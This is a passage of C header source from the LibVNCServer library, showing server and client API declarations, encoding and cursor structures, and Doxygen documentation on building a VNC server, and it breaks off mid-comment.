rfbProcessClientSecurityType(rfbClientPtr cl); extern void rfbAuthProcessClientMessage(rfbClientPtr cl); extern void rfbRegisterSecurityHandler(rfbSecurityHandler* handler); extern void rfbUnregisterSecurityHandler(rfbSecurityHandler* handler); /* rre.c */ extern rfbBool rfbSendRectEncodingRRE(rfbClientPtr cl, int x,int y,int w,int h); /* corre.c */ extern rfbBool rfbSendRectEncodingCoRRE(rfbClientPtr cl, int x,int y,int w,int h); /* hextile.c */ extern rfbBool rfbSendRectEncodingHextile(rfbClientPtr cl, int x, int y, int w, int h); /* ultra.c */ /* Set maximum ultra rectangle size in pixels. Always allow at least * two scan lines. */ #define ULTRA_MAX_RECT_SIZE (128*256) #define ULTRA_MAX_SIZE(min) ((( min * 2 ) > ULTRA_MAX_RECT_SIZE ) ? \ ( min * 2 ) : ULTRA_MAX_RECT_SIZE ) extern rfbBool rfbSendRectEncodingUltra(rfbClientPtr cl, int x,int y,int w,int h); #ifdef LIBVNCSERVER_HAVE_LIBZ /* zlib.c */ /** Minimum zlib rectangle size in bytes. Anything smaller will * not compress well due to overhead. */ #define VNC_ENCODE_ZLIB_MIN_COMP_SIZE (17) /* Set maximum zlib rectangle size in pixels. Always allow at least * two scan lines. */ #define ZLIB_MAX_RECT_SIZE (128*256) #define ZLIB_MAX_SIZE(min) ((( min * 2 ) > ZLIB_MAX_RECT_SIZE ) ? \ ( min * 2 ) : ZLIB_MAX_RECT_SIZE ) extern rfbBool rfbSendRectEncodingZlib(rfbClientPtr cl, int x, int y, int w, int h); #ifdef LIBVNCSERVER_HAVE_LIBJPEG /* tight.c */ #define TIGHT_DEFAULT_COMPRESSION 6 #define TURBO_DEFAULT_SUBSAMP 0 extern rfbBool rfbTightDisableGradient; extern int rfbNumCodedRectsTight(rfbClientPtr cl, int x,int y,int w,int h); extern rfbBool rfbSendRectEncodingTight(rfbClientPtr cl, int x,int y,int w,int h); #if defined(LIBVNCSERVER_HAVE_LIBPNG) extern rfbBool rfbSendRectEncodingTightPng(rfbClientPtr cl, int x,int y,int w,int h); #endif #endif #endif /* cursor.c */ typedef struct rfbCursor { /** set this to true if LibVNCServer has to free this cursor */ rfbBool cleanup, cleanupSource, cleanupMask, cleanupRichSource; unsigned char *source; /**< points to bits */ unsigned char *mask; /**< points to bits */ unsigned short width, height, xhot, yhot; /**< metrics */ unsigned short foreRed, foreGreen, foreBlue; /**< device-independent colour */ unsigned short backRed, backGreen, backBlue; /**< device-independent colour */ unsigned char *richSource; /**< source bytes for a rich cursor */ unsigned char *alphaSource; /**< source for alpha blending info */ rfbBool alphaPreMultiplied; /**< if richSource already has alpha applied */ } rfbCursor, *rfbCursorPtr; extern unsigned char rfbReverseByte[0x100]; extern rfbBool rfbSendCursorShape(rfbClientPtr cl/*, rfbScreenInfoPtr pScreen*/); extern rfbBool rfbSendCursorPos(rfbClientPtr cl); extern void rfbConvertLSBCursorBitmapOrMask(int width,int height,unsigned char* bitmap); extern rfbCursorPtr rfbMakeXCursor(int width,int height,char* cursorString,char* maskString); extern char* rfbMakeMaskForXCursor(int width,int height,char* cursorString); extern char* rfbMakeMaskFromAlphaSource(int width,int height,unsigned char* alphaSource); extern void rfbMakeXCursorFromRichCursor(rfbScreenInfoPtr rfbScreen,rfbCursorPtr cursor); extern void rfbMakeRichCursorFromXCursor(rfbScreenInfoPtr rfbScreen,rfbCursorPtr cursor); extern void rfbFreeCursor(rfbCursorPtr cursor); extern void rfbSetCursor(rfbScreenInfoPtr rfbScreen,rfbCursorPtr c); /** cursor handling for the pointer */ extern void rfbDefaultPtrAddEvent(int buttonMask,int x,int y,rfbClientPtr cl); /* zrle.c */ #ifdef LIBVNCSERVER_HAVE_LIBZ extern rfbBool rfbSendRectEncodingZRLE(rfbClientPtr cl, int x, int y, int w,int h); #endif /* stats.c */ extern void rfbResetStats(rfbClientPtr cl); extern void rfbPrintStats(rfbClientPtr cl); /* font.c */ typedef struct rfbFontData { unsigned char* data; /** metaData is a 256*5 array: for each character (offset,width,height,x,y) */ int* metaData; } rfbFontData,* rfbFontDataPtr; int rfbDrawChar(rfbScreenInfoPtr rfbScreen,rfbFontDataPtr font,int x,int y,unsigned char c,rfbPixel colour); void rfbDrawString(rfbScreenInfoPtr rfbScreen,rfbFontDataPtr font,int x,int y,const char* string,rfbPixel colour); /** if colour==backColour, background is transparent */ int rfbDrawCharWithClip(rfbScreenInfoPtr rfbScreen,rfbFontDataPtr font,int x,int y,unsigned char c,int x1,int y1,int x2,int y2,rfbPixel colour,rfbPixel backColour); void rfbDrawStringWithClip(rfbScreenInfoPtr rfbScreen,rfbFontDataPtr font,int x,int y,const char* string,int x1,int y1,int x2,int y2,rfbPixel colour,rfbPixel backColour); int rfbWidthOfString(rfbFontDataPtr font,const char* string); int rfbWidthOfChar(rfbFontDataPtr font,unsigned char c); void rfbFontBBox(rfbFontDataPtr font,unsigned char c,int* x1,int* y1,int* x2,int* y2); /** this returns the smallest box enclosing any character of font. */ void rfbWholeFontBBox(rfbFontDataPtr font,int *x1, int *y1, int *x2, int *y2); /** dynamically load a linux console font (4096 bytes, 256 glyphs a 8x16 */ rfbFontDataPtr rfbLoadConsoleFont(char *filename); /** free a dynamically loaded font */ void rfbFreeFont(rfbFontDataPtr font); /* draw.c */ void rfbFillRect(rfbScreenInfoPtr s,int x1,int y1,int x2,int y2,rfbPixel col); void rfbDrawPixel(rfbScreenInfoPtr s,int x,int y,rfbPixel col); void rfbDrawLine(rfbScreenInfoPtr s,int x1,int y1,int x2,int y2,rfbPixel col); /* selbox.c */ /** this opens a modal select box. list is an array of strings, the end marked with a NULL. It returns the index in the list or -1 if cancelled or something else wasn't kosher. */ typedef void (*SelectionChangedHookPtr)(int _index); extern int rfbSelectBox(rfbScreenInfoPtr rfbScreen, rfbFontDataPtr font, char** list, int x1, int y1, int x2, int y2, rfbPixel foreColour, rfbPixel backColour, int border,SelectionChangedHookPtr selChangedHook); /* cargs.c */ extern void rfbUsage(void); extern void rfbPurgeArguments(int* argc,int* position,int count,char *argv[]); extern rfbBool rfbProcessArguments(rfbScreenInfoPtr rfbScreen,int* argc, char *argv[]); extern rfbBool rfbProcessSizeArguments(int* width,int* height,int* bpp,int* argc, char *argv[]); /* main.c */ extern void rfbLogEnable(int enabled); typedef void (*rfbLogProc)(const char *format, ...); extern rfbLogProc rfbLog, rfbErr; extern void rfbLogPerror(const char *str); void rfbScheduleCopyRect(rfbScreenInfoPtr rfbScreen,int x1,int y1,int x2,int y2,int dx,int dy); void rfbScheduleCopyRegion(rfbScreenInfoPtr rfbScreen,sraRegionPtr copyRegion,int dx,int dy); void rfbDoCopyRect(rfbScreenInfoPtr rfbScreen,int x1,int y1,int x2,int y2,int dx,int dy); void rfbDoCopyRegion(rfbScreenInfoPtr rfbScreen,sraRegionPtr copyRegion,int dx,int dy); void rfbMarkRectAsModified(rfbScreenInfoPtr rfbScreen,int x1,int y1,int x2,int y2); void rfbMarkRegionAsModified(rfbScreenInfoPtr rfbScreen,sraRegionPtr modRegion); void rfbDoNothingWithClient(rfbClientPtr cl); enum rfbNewClientAction defaultNewClientHook(rfbClientPtr cl); void rfbRegisterProtocolExtension(rfbProtocolExtension* extension); void rfbUnregisterProtocolExtension(rfbProtocolExtension* extension); struct _rfbProtocolExtension* rfbGetExtensionIterator(); void rfbReleaseExtensionIterator(); rfbBool rfbEnableExtension(rfbClientPtr cl, rfbProtocolExtension* extension, void* data); rfbBool rfbDisableExtension(rfbClientPtr cl, rfbProtocolExtension* extension); void* rfbGetExtensionClientData(rfbClientPtr cl, rfbProtocolExtension* extension); /** to check against plain passwords */ rfbBool rfbCheckPasswordByList(rfbClientPtr cl,const char* response,int len); /* functions to make a vnc server */ extern rfbScreenInfoPtr rfbGetScreen(int* argc,char** argv, int width,int height,int bitsPerSample,int samplesPerPixel, int bytesPerPixel); extern void rfbInitServer(rfbScreenInfoPtr rfbScreen); extern void rfbShutdownServer(rfbScreenInfoPtr rfbScreen,rfbBool disconnectClients); extern void rfbNewFramebuffer(rfbScreenInfoPtr rfbScreen,char *framebuffer, int width,int height, int bitsPerSample,int samplesPerPixel, int bytesPerPixel); extern void rfbScreenCleanup(rfbScreenInfoPtr screenInfo); extern void rfbSetServerVersionIdentity(rfbScreenInfoPtr screen, char *fmt, ...); /* functions to accept/refuse a client that has been put on hold by a NewClientHookPtr function. Must not be called in other situations. */ extern void rfbStartOnHoldClient(rfbClientPtr cl); extern void rfbRefuseOnHoldClient(rfbClientPtr cl); /* call one of these two functions to service the vnc clients. usec are the microseconds the select on the fds waits. if you are using the event loop, set this to some value > 0, so the server doesn't get a high load just by listening. rfbProcessEvents() returns TRUE if an update was pending. */ extern void rfbRunEventLoop(rfbScreenInfoPtr screenInfo, long usec, rfbBool runInBackground); extern rfbBool rfbProcessEvents(rfbScreenInfoPtr screenInfo,long usec); extern rfbBool rfbIsActive(rfbScreenInfoPtr screenInfo); /* TightVNC file transfer extension */ void rfbRegisterTightVNCFileTransferExtension(); void rfbUnregisterTightVNCFileTransferExtension(); /* Statistics */ extern char *messageNameServer2Client(uint32_t type, char *buf, int len); extern char *messageNameClient2Server(uint32_t type, char *buf, int len); extern char *encodingName(uint32_t enc, char *buf, int len); extern rfbStatList *rfbStatLookupEncoding(rfbClientPtr cl, uint32_t type); extern rfbStatList *rfbStatLookupMessage(rfbClientPtr cl, uint32_t type); /* Each call to rfbStatRecord* adds one to the rect count for that type */ extern void rfbStatRecordEncodingSent(rfbClientPtr cl, uint32_t type, int byteCount, int byteIfRaw); extern void rfbStatRecordEncodingSentAdd(rfbClientPtr cl, uint32_t type, int byteCount); /* Specifically for tight encoding */ extern void rfbStatRecordEncodingRcvd(rfbClientPtr cl, uint32_t type, int byteCount, int byteIfRaw); extern void rfbStatRecordMessageSent(rfbClientPtr cl, uint32_t type, int byteCount, int byteIfRaw); extern void rfbStatRecordMessageRcvd(rfbClientPtr cl, uint32_t type, int byteCount, int byteIfRaw); extern void rfbResetStats(rfbClientPtr cl); extern void rfbPrintStats(rfbClientPtr cl); extern int rfbStatGetSentBytes(rfbClientPtr cl); extern int rfbStatGetSentBytesIfRaw(rfbClientPtr cl); extern int rfbStatGetRcvdBytes(rfbClientPtr cl); extern int rfbStatGetRcvdBytesIfRaw(rfbClientPtr cl); extern int rfbStatGetMessageCountSent(rfbClientPtr cl, uint32_t type); extern int rfbStatGetMessageCountRcvd(rfbClientPtr cl, uint32_t type); extern int rfbStatGetEncodingCountSent(rfbClientPtr cl, uint32_t type); extern int rfbStatGetEncodingCountRcvd(rfbClientPtr cl, uint32_t type); /** Set which version you want to advertise 3.3, 3.6, 3.7 and 3.8 are currently supported*/ extern void rfbSetProtocolVersion(rfbScreenInfoPtr rfbScreen, int major_, int minor_); /** send a TextChat message to a client */ extern rfbBool rfbSendTextChatMessage(rfbClientPtr cl, uint32_t length, char *buffer); /* * Additions for Qt event loop integration * Original idea taken from vino. */ rfbBool rfbProcessNewConnection(rfbScreenInfoPtr rfbScreen); rfbBool rfbUpdateClient(rfbClientPtr cl); #if(defined __cplusplus) } #endif /** * @} */ /** @page libvncserver_doc LibVNCServer Documentation @section create_server Creating a server instance To make a server, you just have to initialise a server structure using the function rfbGetScreen(), like @code rfbScreenInfoPtr screen = rfbGetScreen(argc,argv,screenwidth,screenheight,8,3,bpp); @endcode where byte per pixel should be 1, 2 or 4. If performance doesn't matter, you may try bpp=3 (internally one cannot use native data types in this case; if you want to use this, look at pnmshow24.c). You then can set hooks and io functions (see @ref making_it_interactive) or other options (see @ref server_options). And you allocate the frame buffer like this: @code screen->frameBuffer = (char*)malloc(screenwidth*screenheight*bpp); @endcode After that, you initialize the server, like @code rfbInitServer(screen); @endcode You can use a blocking event loop, a background (pthread based) event loop, or implement your own using the rfbProcessEvents() function. @subsection server_options Optional Server Features These options have to be set between rfbGetScreen() and rfbInitServer(). If you already have a socket to talk to, just set rfbScreenInfo::inetdSock (originally this is for inetd handling, but why not use it for your purpose?). To also start an HTTP server (running on port 5800+display_number), you have to set rfbScreenInfo::httpDir to a directory containing vncviewer.jar and index.vnc (like the included "webclients" directory). @section making_it_interactive Making it interactive Whenever you draw something, you have to call @code rfbMarkRectAsModified(screen,x1,y1,x2,y2). @endcode This tells LibVNCServer to send updates to all connected clients. There exist the following IO functions as members of rfbScreen: rfbScreenInfo::kbdAddEvent(), rfbScreenInfo::kbdReleaseAllKeys(), rfbScreenInfo::ptrAddEvent() and rfbScreenInfo::setXCutText() rfbScreenInfo::kbdAddEvent() is called when a key is pressed. rfbScreenInfo::kbdReleaseAllKeys() is not called at all (maybe in the future). rfbScreenInfo::ptrAddEvent() is called when the mouse moves or a button is pressed. WARNING: if you want to have proper cursor handling, call rfbDefaultPtrAddEvent() in your own function. This sets the coordinates of the cursor. rfbScreenInfo::setXCutText() is called when the selection changes. There are only two hooks: rfbScreenInfo::newClientHook() is called when a new client has connected. rfbScreenInfo::displayHook() is called just before a frame buffer update is sent. You can also override the following methods: rfbScreenInfo::getCursorPtr() This could be used to make an animated cursor (if you really want ...) rfbScreenInfo::setTranslateFunction() If you insist on colour maps or something more obscure, you have to implement this. Default is a trueColour mapping. @section cursor_handling Cursor handling The screen holds a pointer rfbScreenInfo::cursor to the current cursor. Whenever you set it, remember that any dynamically created cursor (like return value from rfbMakeXCursor()) is not free'd! The rfbCursor structure consists mainly of a mask and a source. The rfbCursor::mask describes, which pixels are drawn for the cursor (a cursor needn't be rectangular). The rfbCursor::source describes, which colour those pixels should have. The standard is an XCursor: a cursor with a foreground and a background colour (stored in backRed,backGreen,backBlue and the same for foreground in a range from 0-0xffff). Therefore, the arrays "mask" and "source" contain pixels as single bits stored in bytes in MSB order. The rows are padded, such that each row begins with a new byte (i.e. a 10x4 cursor's mask has 2x4 bytes, because 2 bytes are needed to hold 10 bits). It is however very easy to make a cursor like this: @code char* cur=" " " xx " " x " " "; char* mask="xxxx" "xxxx" "xxxx" "xxx "; rfbCursorPtr c=rfbMakeXCursor(4,4,cur,mask); @endcode You can even set rfbCursor::mask to NULL in this call and LibVNCServer will calculate a mask for you (dynamically, so you have to free it yourself). There is also an array named rfbCursor::richSource for colourful cursors. They have the same format as the frameBuffer (i.e. if the server is 32 bit, a 10x4 cursor has 4x10x4 bytes). @section screen_client_difference What is the difference between rfbScreenInfoPtr and rfbClientPtr? The rfbScreenInfoPtr is a pointer to a rfbScreenInfo structure, which holds information about the server, like pixel format, io functions, frame buffer etc. The rfbClientPtr is a pointer to an rfbClientRec structure, which holds information about a client, like pixel format, socket of the connection, etc. A server can have several clients, but needn't have any. So, if you have a server and three clients are connected, you have one instance of a rfbScreenInfo and three instances of rfbClientRec's. The rfbClientRec structure holds a member rfbClientRec::screen which points to the server. So, to access the server from the client structure, you use client->screen. To access all clients from a server be sure to use the provided iterator rfbGetClientIterator() with rfbClientIteratorNext() and rfbReleaseClientIterator() to prevent thread clashes. @section example_code Example Code There are two documented examples included: - example.c, a shared scribble sheet - pnmshow.c, a program to show PNMs (pictures) over the net. The examples are not too well documented, but easy straight forward and a good starting point. Try example.c: it outputs on which port it listens (default: 5900), so it is display 0. To view, call @code vncviewer :0 @endcode You should see a sheet with a gradient and "Hello World!" written on it. Try to paint something. Note that every time you click, there is some bigger blot, whereas when you drag the mouse while clicked you draw a line. The size of the blot depends on the mouse button you click. Open a second vncviewer with the same parameters and watch it as you paint in the other window. This also works over internet. You just have to know either the name or the IP of your machine. Then it is @code vncviewer machine.where.example.runs.com:0 @endcode or similar for the remote client. Now you are ready to type something. Be sure that your mouse sits still, because every time the mouse moves, the cursor is reset to the position of the pointer! If you are done with that demo, press the down or up arrows. If your viewer supports it, then the dimensions of the sheet change. Just press Escape in the viewer. Note that the server still runs, even if you closed both windows. When you reconnect now, everything you painted and wrote is still there. You can press "Page Up" for a blank page. The demo pnmshow.c is much simpler: you either provide a filename as argument or pipe a file through stdin. Note that the file has to be a raw pnm/ppm file, i.e. a truecolour graphics. Only the Escape key is implemented. This may be the best starting point if you want to learn how to use LibVNCServer. You are confronted with the fact that the bytes per pixel can only be 8, 16 or 32. */ #endif libvncserver-LibVNCServer-0.9.11/rfb/rfbclient.h000066400000000000000000000636641303145525000214570ustar00rootroot00000000000000#ifndef RFBCLIENT_H #define RFBCLIENT_H /** * @defgroup libvncclient_api LibVNCClient API Reference * @{ */ /* * Copyright (C) 2000, 2001 Const Kaplinsky. All Rights Reserved. * Copyright (C) 2000 Tridia Corporation. All Rights Reserved. * Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ /** * @file rfbclient.h */ #ifdef WIN32 #define WIN32_LEAN_AND_MEAN /* Prevent loading any Winsock 1.x headers from windows.h */ #endif #include #include #include #include #include #include #include #define rfbClientSwap16IfLE(s) \ (*(char *)&client->endianTest ? ((((s) & 0xff) << 8) | (((s) >> 8) & 0xff)) : (s)) #define rfbClientSwap32IfLE(l) \ (*(char *)&client->endianTest ? ((((l) >> 24) & 0x000000ff) | \ (((l) & 0x00ff0000) >> 8) | \ (((l) & 0x0000ff00) << 8) | \ (((l) & 0x000000ff) << 24)) : (l)) #define rfbClientSwap64IfLE(l) \ (*(char *)&client->endianTest ? ((((l) >> 56 ) & 0x00000000000000ffULL) | \ (((l) & 0x00ff000000000000ULL) >> 40) | \ (((l) & 0x0000ff0000000000ULL) >> 24) | \ (((l) & 0x000000ff00000000ULL) >> 8) | \ (((l) & 0x00000000ff000000ULL) << 8) | \ (((l) & 0x0000000000ff0000ULL) << 24) | \ (((l) & 0x000000000000ff00ULL) << 40) | \ (((l) & 0x00000000000000ffULL) << 56)) : (l)) #define FLASH_PORT_OFFSET 5400 #define LISTEN_PORT_OFFSET 5500 #define TUNNEL_PORT_OFFSET 5500 #define SERVER_PORT_OFFSET 5900 #define DEFAULT_SSH_CMD "/usr/bin/ssh" #define DEFAULT_TUNNEL_CMD \ (DEFAULT_SSH_CMD " -f -L %L:localhost:%R %H sleep 20") #define DEFAULT_VIA_CMD \ (DEFAULT_SSH_CMD " -f -L %L:%H:%R %G sleep 20") #if(defined __cplusplus) extern "C" { #endif /** vncrec */ typedef struct { FILE* file; struct timeval tv; rfbBool readTimestamp; rfbBool doNotSleep; } rfbVNCRec; /** client data */ typedef struct rfbClientData { void* tag; void* data; struct rfbClientData* next; } rfbClientData; /** app data (belongs into rfbClient?) */ typedef struct { rfbBool shareDesktop; rfbBool viewOnly; const char* encodingsString; rfbBool useBGR233; int nColours; rfbBool forceOwnCmap; rfbBool forceTrueColour; int requestedDepth; int compressLevel; int qualityLevel; rfbBool enableJPEG; rfbBool useRemoteCursor; rfbBool palmVNC; /**< use palmvnc specific SetScale (vs ultravnc) */ int scaleSetting; /**< 0 means no scale set, else 1/scaleSetting */ } AppData; /** For GetCredentialProc callback function to return */ typedef union _rfbCredential { /** X509 (VeNCrypt) */ struct { char *x509CACertFile; char *x509CACrlFile; char *x509ClientCertFile; char *x509ClientKeyFile; } x509Credential; /** Plain (VeNCrypt), MSLogon (UltraVNC) */ struct { char *username; char *password; } userCredential; } rfbCredential; #define rfbCredentialTypeX509 1 #define rfbCredentialTypeUser 2 struct _rfbClient; /** * Handles a text chat message. If your application should accept text messages * from the server, define a function with this prototype and set * client->HandleTextChat to a pointer to that function subsequent to your * rfbGetClient() call. * @param client The client which called the text chat handler * @param value text length if text != NULL, or one of rfbTextChatOpen, * rfbTextChatClose, rfbTextChatFinished if text == NULL * @param text The text message from the server */ typedef void (*HandleTextChatProc)(struct _rfbClient* client, int value, char *text); /** * Handles XVP server messages. If your application sends XVP messages to the * server, you'll want to handle the server's XVP_FAIL and XVP_INIT responses. * Define a function with this prototype and set client->HandleXvpMsg to a * pointer to that function subsequent to your rfbGetClient() call. * @param client The client which called the XVP message handler * @param version The highest XVP extension version that the server supports * @param opcode The opcode. 0 is XVP_FAIL, 1 is XVP_INIT */ typedef void (*HandleXvpMsgProc)(struct _rfbClient* client, uint8_t version, uint8_t opcode); typedef void (*HandleKeyboardLedStateProc)(struct _rfbClient* client, int value, int pad); typedef rfbBool (*HandleCursorPosProc)(struct _rfbClient* client, int x, int y); typedef void (*SoftCursorLockAreaProc)(struct _rfbClient* client, int x, int y, int w, int h); typedef void (*SoftCursorUnlockScreenProc)(struct _rfbClient* client); typedef void (*GotFrameBufferUpdateProc)(struct _rfbClient* client, int x, int y, int w, int h); typedef void (*FinishedFrameBufferUpdateProc)(struct _rfbClient* client); typedef char* (*GetPasswordProc)(struct _rfbClient* client); typedef rfbCredential* (*GetCredentialProc)(struct _rfbClient* client, int credentialType); typedef rfbBool (*MallocFrameBufferProc)(struct _rfbClient* client); typedef void (*GotXCutTextProc)(struct _rfbClient* client, const char *text, int textlen); typedef void (*BellProc)(struct _rfbClient* client); /** Called when a cursor shape update was received from the server. The decoded cursor shape will be in client->rcSource. It's up to the application to do something with this, e.g. draw into a viewer's window. If you want the server to draw the cursor into the framebuffer, be careful not to announce remote cursor support, i.e. not include rfbEncodingXCursor or rfbEncodingRichCursor in SetFormatAndEncodings(). */ typedef void (*GotCursorShapeProc)(struct _rfbClient* client, int xhot, int yhot, int width, int height, int bytesPerPixel); typedef void (*GotCopyRectProc)(struct _rfbClient* client, int src_x, int src_y, int w, int h, int dest_x, int dest_y); typedef rfbBool (*LockWriteToTLSProc)(struct _rfbClient* client); typedef rfbBool (*UnlockWriteToTLSProc)(struct _rfbClient* client); typedef struct _rfbClient { uint8_t* frameBuffer; int width, height; int endianTest; AppData appData; const char* programName; char* serverHost; int serverPort; /**< if -1, then use file recorded by vncrec */ rfbBool listenSpecified; int listenPort, flashPort; struct { int x, y, w, h; } updateRect; /** Note that the CoRRE encoding uses this buffer and assumes it is big enough to hold 255 * 255 * 32 bits -> 260100 bytes. 640*480 = 307200 bytes. Hextile also assumes it is big enough to hold 16 * 16 * 32 bits. Tight encoding assumes BUFFER_SIZE is at least 16384 bytes. */ #define RFB_BUFFER_SIZE (640*480) char buffer[RFB_BUFFER_SIZE]; /* rfbproto.c */ int sock; rfbBool canUseCoRRE; rfbBool canUseHextile; char *desktopName; rfbPixelFormat format; rfbServerInitMsg si; /* sockets.c */ #define RFB_BUF_SIZE 8192 char buf[RFB_BUF_SIZE]; char *bufoutptr; int buffered; /* The zlib encoding requires expansion/decompression/deflation of the compressed data in the "buffer" above into another, result buffer. However, the size of the result buffer can be determined precisely based on the bitsPerPixel, height and width of the rectangle. We allocate this buffer one time to be the full size of the buffer. */ /* Ultra Encoding uses this buffer too */ int ultra_buffer_size; char *ultra_buffer; int raw_buffer_size; char *raw_buffer; #ifdef LIBVNCSERVER_HAVE_LIBZ z_stream decompStream; rfbBool decompStreamInited; #endif #ifdef LIBVNCSERVER_HAVE_LIBZ /* * Variables for the ``tight'' encoding implementation. */ /** Separate buffer for compressed data. */ #define ZLIB_BUFFER_SIZE 30000 char zlib_buffer[ZLIB_BUFFER_SIZE]; /* Four independent compression streams for zlib library. */ z_stream zlibStream[4]; rfbBool zlibStreamActive[4]; /* Filter stuff. Should be initialized by filter initialization code. */ rfbBool cutZeros; int rectWidth, rectColors; char tightPalette[256*4]; uint8_t tightPrevRow[2048*3*sizeof(uint16_t)]; #ifdef LIBVNCSERVER_HAVE_LIBJPEG /** JPEG decoder state. */ rfbBool jpegError; struct jpeg_source_mgr* jpegSrcManager; void* jpegBufferPtr; size_t jpegBufferLen; #endif #endif /* cursor.c */ /** Holds cursor shape data when received from server. */ uint8_t *rcSource, *rcMask; /** private data pointer */ rfbClientData* clientData; rfbVNCRec* vncRec; /* Keyboard State support (is 'Caps Lock' set on the remote display???) */ int KeyboardLedStateEnabled; int CurrentKeyboardLedState; int canHandleNewFBSize; /* hooks */ HandleTextChatProc HandleTextChat; HandleKeyboardLedStateProc HandleKeyboardLedState; HandleCursorPosProc HandleCursorPos; SoftCursorLockAreaProc SoftCursorLockArea; SoftCursorUnlockScreenProc SoftCursorUnlockScreen; GotFrameBufferUpdateProc GotFrameBufferUpdate; /** the pointer returned by GetPassword will be freed after use! */ GetPasswordProc GetPassword; MallocFrameBufferProc MallocFrameBuffer; GotXCutTextProc GotXCutText; BellProc Bell; GotCursorShapeProc GotCursorShape; GotCopyRectProc GotCopyRect; /** Which messages are supported by the server * This is a *guess* for most servers. * (If we can even detect the type of server) * * If the server supports the "rfbEncodingSupportedMessages" * then this will be updated when the encoding is received to * accurately reflect the servers capabilities. */ rfbSupportedMessages supportedMessages; /** negotiated protocol version */ int major, minor; /** The selected security types */ uint32_t authScheme, subAuthScheme; /** The TLS session for Anonymous TLS and VeNCrypt */ void* tlsSession; /** To support security types that requires user input (except VNC password * authentication), for example VeNCrypt and MSLogon, this callback function * must be set before the authentication. Otherwise, it implicates that the * caller application does not support it and related security types should * be bypassed. */ GetCredentialProc GetCredential; /** The 0-terminated security types supported by the client. * Set by function SetClientAuthSchemes() */ uint32_t *clientAuthSchemes; /** When the server is a repeater, this specifies the final destination */ char *destHost; int destPort; /** the QoS IP DSCP for this client */ int QoS_DSCP; /** hook to handle xvp server messages */ HandleXvpMsgProc HandleXvpMsg; /* listen.c */ int listenSock; FinishedFrameBufferUpdateProc FinishedFrameBufferUpdate; char *listenAddress; /* IPv6 listen socket, address and port*/ int listen6Sock; char* listen6Address; int listen6Port; /* Output Window ID. When set, client application enables libvncclient to perform direct rendering in its window */ unsigned long outputWindow; /** Hooks for optional protection WriteToTLS() by mutex */ LockWriteToTLSProc LockWriteToTLS; UnlockWriteToTLSProc UnlockWriteToTLS; } rfbClient; /* cursor.c */ /** * Handles XCursor and RichCursor shape updates from the server. * We emulate cursor operating on the frame buffer (that is * why we call it "software cursor"). This decodes the received cursor * shape and hands it over to GotCursorShapeProc, if set. */ extern rfbBool HandleCursorShape(rfbClient* client,int xhot, int yhot, int width, int height, uint32_t enc); /* listen.c */ extern void listenForIncomingConnections(rfbClient* viewer); extern int listenForIncomingConnectionsNoFork(rfbClient* viewer, int usec_timeout); /* rfbproto.c */ extern rfbBool rfbEnableClientLogging; typedef void (*rfbClientLogProc)(const char *format, ...); extern rfbClientLogProc rfbClientLog,rfbClientErr; extern rfbBool ConnectToRFBServer(rfbClient* client,const char *hostname, int port); extern rfbBool ConnectToRFBRepeater(rfbClient* client,const char *repeaterHost, int repeaterPort, const char *destHost, int destPort); extern void SetClientAuthSchemes(rfbClient* client,const uint32_t *authSchemes, int size); extern rfbBool InitialiseRFBConnection(rfbClient* client); /** * Sends format and encoding parameters to the server. Your application can * modify the 'client' data structure directly. However some changes to this * structure must be communicated back to the server. For instance, if you * change the encoding to hextile, the server needs to know that it should send * framebuffer updates in hextile format. Likewise if you change the pixel * format of the framebuffer, the server must be notified about this as well. * Call this function to propagate your changes of the local 'client' structure * over to the server. * @li Encoding type * @li RFB protocol extensions announced via pseudo-encodings * @li Framebuffer pixel format (like RGB vs ARGB) * @li Remote cursor support * @param client The client in which the format or encodings have been changed * @return true if the format or encodings were sent to the server successfully, * false otherwise */ extern rfbBool SetFormatAndEncodings(rfbClient* client); extern rfbBool SendIncrementalFramebufferUpdateRequest(rfbClient* client); /** * Sends a framebuffer update request to the server. A VNC client may request an * update from the server at any time. You can also specify which portions of * the screen you want updated. This can be handy if a pointer is at certain * location and the user pressed a mouse button, for instance. Then you can * immediately request an update of the region around the pointer from the * server. * @note The coordinate system is a left-handed Cartesian coordinate system with * the Z axis (unused) pointing out of the screen. Alternately you can think of * it as a right-handed Cartesian coordinate system with the Z axis pointing * into the screen. The origin is at the upper left corner of the framebuffer. * @param client The client through which to send the request * @param x The horizontal position of the update request rectangle * @param y The vertical position of the update request rectangle * @param w The width of the update request rectangle * @param h The height of the update request rectangle * @param incremental false: server sends rectangle even if nothing changed. * true: server only sends changed parts of rectangle. * @return true if the update request was sent successfully, false otherwise */ extern rfbBool SendFramebufferUpdateRequest(rfbClient* client, int x, int y, int w, int h, rfbBool incremental); extern rfbBool SendScaleSetting(rfbClient* client,int scaleSetting); /** * Sends a pointer event to the server. A pointer event includes a cursor * location and a button mask. The button mask indicates which buttons on the * pointing device are pressed. Each button is represented by a bit in the * button mask. A 1 indicates the button is pressed while a 0 indicates that it * is not pressed. You may use these pre-defined button masks by ORing them * together: rfbButton1Mask, rfbButton2Mask, rfbButton3Mask, rfbButton4Mask * rfbButton5Mask * @note The cursor location is relative to the client's framebuffer, not the * client's screen itself. * @note The coordinate system is a left-handed Cartesian coordinate system with * the Z axis (unused) pointing out of the screen. Alternately you can think of * it as a right-handed Cartesian coordinate system with the Z axis pointing * into the screen. The origin is at the upper left corner of the screen. * @param client The client through which to send the pointer event * @param x the horizontal location of the cursor * @param y the vertical location of the cursor * @param buttonMask the button mask indicating which buttons are pressed * @return true if the pointer event was sent successfully, false otherwise */ extern rfbBool SendPointerEvent(rfbClient* client,int x, int y, int buttonMask); /** * Sends a key event to the server. If your application is not merely a VNC * viewer (i.e. it controls the server), you'll want to send the keys that the * user presses to the server. Use this function to do that. * @param client The client through which to send the key event * @param key An rfbKeySym defined in rfb/keysym.h * @param down true if this was a key down event, false otherwise * @return true if the key event was send successfully, false otherwise */ extern rfbBool SendKeyEvent(rfbClient* client,uint32_t key, rfbBool down); /** * Places a string on the server's clipboard. Use this function if you want to * be able to copy and paste between the server and your application. For * instance, when your application is notified that the user copied some text * onto the clipboard, you would call this function to 